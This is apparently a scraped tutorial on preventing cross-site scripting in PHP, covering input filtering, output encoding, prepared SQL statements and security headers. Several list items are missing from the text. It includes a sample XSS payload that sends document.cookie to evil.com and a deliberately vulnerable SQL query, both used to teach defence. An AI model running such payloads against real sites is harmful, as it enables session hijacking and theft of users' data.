Cross-Site Scripting (XSS) is one of the most common and dangerous web security vulnerabilities affecting PHP websites. This guide explains how XSS attacks work, why using only a Content Security Policy (CSP) is not enough, and how to properly secure PHP applications using input validation, output encoding, prepared SQL statements, and security headers to prevent data theft, session hijacking, and website compromise.

Cross-Site Scripting (XSS) is one of the most dangerous and widely exploited web application vulnerabilities. It allows attackers to inject malicious JavaScript into legitimate websites, which then executes in the browsers of unsuspecting users.
XSS attacks can result in:
This article provides a complete technical and practical guide to:
Cross-Site Scripting (XSS) is a type of injection vulnerability where an attacker injects malicious JavaScript into a trusted website. When other users visit that page, the malicious script executes in their browser as if it came from the legitimate site.
https://example.com/search.php?q=worldIf the q parameter is not properly secured, an attacker could inject:
?q=<script>alert('Hacked')</script>If the site echoes this input without protection, the attacker’s script runs inside the victim’s browser.
The malicious payload is stored permanently in the database.
Common targets:
Every user who visits the infected page executes the script.
✅ Most dangerous
✅ Large-scale attacks
❌ Difficult to detect early
The malicious code is reflected directly from the request.
Example:
A malicious link is sent to a victim through email or social media.
✅ Very common
✅ Used in phishing campaigns
❌ Requires user interaction
The entire attack happens in the browser using JavaScript.
Vulnerable code example:
element.innerHTML = location.search; ✅ Hard to detect
✅ Common in modern JavaScript frameworks
With a successful XSS attack, attackers can:
A Content Security Policy (CSP) is a powerful browser-level security feature that restricts the execution of scripts.
Example CSP header:
Content-Security-Policy: script-src 'self'CSP is a backup defense — not a primary solution.
Without proper input validation and output encoding, your site remains vulnerable even with CSP enabled.
Example Vulnerable URL
https://example.com/search.php?q=world❌ Insecure:
$q = $_GET['q'];✅ Secure:
$q = filter_input(INPUT_GET, 'q', FILTER_SANITIZE_SPECIAL_CHARS);This blocks raw script tags at the input level.
❌ Insecure:
echo $q;✅ Secure:
echo htmlspecialchars($q, ENT_QUOTES, 'UTF-8');This ensures:
❌ Vulnerable to SQL Injection:
$sql = "SELECT * FROM posts WHERE title LIKE '%$q%'";linebreakmarker mysqli_query($conn, $sql); ✅ Secure Prepared Statement:
$stmt = $conn->prepare("SELECT * FROM posts WHERE title LIKE ?"); linebreakmarker $search = "%$q%"; linebreakmarker $stmt->bind_param("s", $search); linebreakmarker $stmt->execute(); linebreakmarker $result = $stmt->get_result(); Prepared statements are the ONLY safe method to handle user input in SQL.
Add this at the top of search.php:
header("Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'"); This prevents:
header("X-Content-Type-Options: nosniff"); linebreakmarker header("X-Frame-Options: DENY"); linebreakmarker header("Referrer-Policy: no-referrer"); linebreakmarker header("Strict-Transport-Security: max-age=31536000; includeSubDomains; preload"); <?php linebreakmarker header("Content-Security-Policy: default-src 'self'; script-src 'self'"); linebreakmarker header("X-Content-Type-Options: nosniff"); linebreakmarker header("X-Frame-Options: DENY"); linebreakmarker linebreakmarker // Secure input linebreakmarker $q = filter_input(INPUT_GET, 'q', FILTER_SANITIZE_SPECIAL_CHARS); linebreakmarker linebreakmarker // Secure output linebreakmarker $safe_q = htmlspecialchars($q, ENT_QUOTES, 'UTF-8'); linebreakmarker linebreakmarker // Secure SQL query linebreakmarker $stmt = $conn->prepare("SELECT * FROM posts WHERE title LIKE ?"); linebreakmarker $search = "%$q%"; linebreakmarker $stmt->bind_param("s", $search); linebreakmarker $stmt->execute(); linebreakmarker $result = $stmt->get_result(); linebreakmarker ?> linebreakmarker linebreakmarker <h2>Search Results for: <?php echo $safe_q; ?></h2> An attacker visits:
https://example.com/search.php?q=<script>fetch('https://evil.com/?c='+document.cookie)</script> If not protected:
With proper protection:
✅ Payload is converted to harmless text
✅ Attack fails instantly
| Attack | Target | Result |
|---|---|---|
| XSS | User browser | Session hijacking |
| SQL Injection | Database | Data breach |
| CSRF | User actions | Unauthorized requests |
XSS consistently ranks in the OWASP Top 10 Web Vulnerabilities, affecting:
Failure to prevent XSS can result in:
✅ Use htmlspecialchars() on all output
✅ Use prepared SQL statements
✅ Never trust user input
✅ Enable CSP
✅ Avoid innerHTML in JavaScript
✅ Avoid eval()
✅ Use secure frameworks
✅ Apply proper HTTP security headers
✅ Run vulnerability scanners regularly
✅ Conduct security audits
This layered approach is called Defense in Depth and is the industry standard for secure web development.